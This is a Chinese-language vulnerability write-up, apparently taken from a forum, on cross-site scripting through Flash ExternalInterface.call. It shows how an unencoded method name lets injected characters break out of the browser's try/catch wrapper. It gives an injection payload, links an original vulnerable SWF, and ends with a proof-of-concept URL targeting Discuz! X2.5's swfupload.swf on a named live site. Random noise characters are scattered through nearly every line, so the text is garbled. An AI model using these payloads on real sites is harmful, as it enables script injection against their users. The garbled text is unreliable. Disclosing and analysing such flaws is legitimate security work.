上回我们说6 U9 S6 M8 U; \7 z3 U
$ \7 q9 e# K; ~7 U( ~9 _3 Y Aflash.external.ExternalInterface.call($methodName, $parameter)
2 N* h; _: Q6 y6 F9 @1 R在浏览器中执行的是) I9 J$ J9 k# I: L w1 T
! ?6 e' F( s1 m0 y( q) H/ S
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
) F8 g4 r, F$ R1 m4 }对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如6 q8 G* D" T" {' Y
3 v+ n1 V0 |" |5 m* q
flash.external.ExternalInterface.call("object."+$methodName, $parameter)0 M0 T* W1 t: i Q- S
$methodName = a())}catch(e){alert(/xss/)}//
; n; p. E0 h- @& Q* O结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。 b' |5 O1 y" S& i8 B
" i1 z: k) k( l# \4 u# Z
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }$ p' ] Z& @% ]7 S
0 F/ I( Q! u* ?
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )2 d2 n$ I3 a$ [4 r) E; _* v- p
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
0 p( G" Q7 c* _
/ R, M1 y' |" G5 ?% q( @
8 ?% t. W0 c$ B& E
7 G5 P& s; |2 X7 I" p漏洞文件:upload\static\image\common\swfupload.swf
2 _. g5 s/ i- t v! r. |
8 y- p/ h8 F: {6 S8 X- }* ^: l1 ~原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf! @& h. B* d! o
% f0 f9 I$ V: x; q
- ~0 s2 m! s6 d* c' O& F- a
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
7 U/ X! q8 {8 H/ {
/ j1 I, B' r* q& u x
& e3 W1 |7 X: N! [. i- n |